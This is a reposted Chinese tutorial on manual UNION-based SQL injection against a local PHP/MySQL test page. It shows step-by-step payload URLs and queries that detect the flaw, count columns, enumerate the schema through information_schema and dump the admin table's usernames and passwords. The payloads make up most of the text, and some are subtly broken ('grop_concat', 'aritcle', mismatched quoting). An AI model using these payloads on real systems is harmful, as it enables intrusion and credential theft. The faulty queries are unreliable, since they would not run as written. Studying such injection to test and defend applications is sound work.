PHP+mysql注入的基本過程

來源:互聯網
上載者:User

標籤:解決   sch   分頁   數字   info   url   image   執行   select   

1:驗證注入(and 1=1)

URL:     http://127.0.0.1/test.php?id=9 and 1=1     sql語句:select * from article where id =‘9 and 1=1’;返回正常

             http://127.0.0.1/test.php?id=9 and 1=2     sql語句:select * from aritcle where id =‘9 and 1=2’;返回報錯

2:判斷字元段數(order by和 union)

2.1    order by

URL:      http://127.0.0.1/test.php?id=9 order by 1,2,3,4         sql語句:select * from aritcle where id =9  order by 1,2,3,4;

order by 在sql語句中是對結果集的指定列進行排序。

如:當我們測試到7時報錯,表明該表只有6個欄位

2.2     UNION select

url:http://127.0.0.1/test.php?id=9 union select null,null,null,null             sql語句:select * from aritcle where id=9 union select null,null,null;

UNION SELECT 聯集查詢:可以用於一個或多個SELECT的結果集,但是他有一個條件,
就是兩個select查詢語句的查詢必須要有相同的列才可以執行,利用這個特性我們可以進行對比查詢,
也就是說當我們union select的列與它查詢的列相同時,頁面返回正常。

如:當欄位為6個時頁面返回正常,而大於或小於6個頁面會報錯。

解決兩個小問題:
問題一:大部分程式只會調用資料庫查詢的第一條返回(我們這個也是),而通過聯集查詢出的資料中,
我們想看到的資料是在第二條中,如果我們想看到我們想要的資料有兩種方法,第一種是讓第一條資料返回假,
第二種是通過sql語句直接返回我們想要的資料。

法一:我們讓第一個查詢的結果始終為假

url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null
sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null

結果:返回為什麼什麼也沒有呢 因為我們的第二個查詢中並沒有查詢到什麼 返回為NULL 自然就什麼也沒有了
我們把語句放在mysql中看一下返回結果:

法二:通過limit語句,limit在mysql中是用來分頁的,我們也可以通過他拿到我們想要的結果集

url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null limit 1,1
sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null limit 1,1

 

返回也是空,同上面結果一樣

問題二:哪個列中的資料是在頁面中顯示出來的,可能有一些列中的資料只是用於背景程式對資料處理使用,
並不會在前台顯示,所以我們需要判斷哪個欄位我們可以看到。,我們通過數字代替了NULL進行查詢,
確定了2,3,4,5 四個欄位可以在頁面中顯示。
回答一下為什麼我們不一開始就是用數字,因為union select 不僅要求列的數量相同,同時資料類型也要相似。

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,2,3,4,5,6 limit 1,1
sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,2,3,4,5,6 limit 1,1

3.查詢資料庫

可以通過使用mysql內建的函數database()查詢,得到資料庫名:test

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1
sql語句:sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1

結果:顯示出test

4.查表名

查表名我們主要用到的是TABLES表。
這裡我們用到了group_concat它可以返回查詢的所有結果,因為我們需要通過命名判斷該我們需要的敏感性資料。
這裡我們的目標是admin表。

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=‘test‘
sql語句:sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=‘test‘

結果:顯示出所有表名,第一個為admin

5.查欄位:
這裡同樣使用information_schema庫,這裡使用的是columns表。得到欄位id,username,password

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=‘test‘ and table_name=‘admin‘
sql語句:sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=‘test‘ and table_name=‘admin‘

結果:id,username,password

6:查資料

url:    http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin
sql語句:     SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin
結果就出來了

 

 

 

 

        

PHP+mysql注入的基本過程

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.